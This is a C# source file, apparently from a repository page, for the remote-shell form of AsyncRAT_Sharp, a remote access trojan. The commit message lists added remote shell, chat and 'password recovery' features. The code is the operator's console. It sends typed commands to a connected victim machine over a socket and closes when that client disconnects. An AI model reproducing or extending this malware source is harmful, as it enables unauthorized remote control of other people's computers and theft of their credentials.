NYAN CAT f75229df31 Update
[]Updated password recovery - thanks to @thi67
[]Compiled files will be written in /Binaries/ - thanks to @MrDevBot
[]Fixed ping
[]Added remote shell
[]Added chat
[]Minor bugs fixed
2019-05-18 23:51:48 +03:00

62 lines
1.9 KiB
C#

using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Forms
{
public partial class FormShell : Form
{
public Form1 F { get; set; }
internal Clients C { get; set; }
public FormShell()
{
InitializeComponent();
}
private void TextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyData == Keys.Enter && !string.IsNullOrWhiteSpace(textBox1.Text))
{
if (textBox1.Text == "cls".ToLower())
{
richTextBox1.Clear();
textBox1.Clear();
return;
}
if (textBox1.Text == "exit".ToLower())
{
this.Close();
}
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
msgpack.ForcePathObject("WriteInput").AsString = textBox1.Text;
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
textBox1.Clear();
}
}
private void FormShell_FormClosed(object sender, FormClosedEventArgs e)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "shellWriteInput";
msgpack.ForcePathObject("WriteInput").AsString = "exit";
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
}
private void Timer1_Tick(object sender, EventArgs e)
{
if (!C.ClientSocket.Connected) this.Close();
}
}
}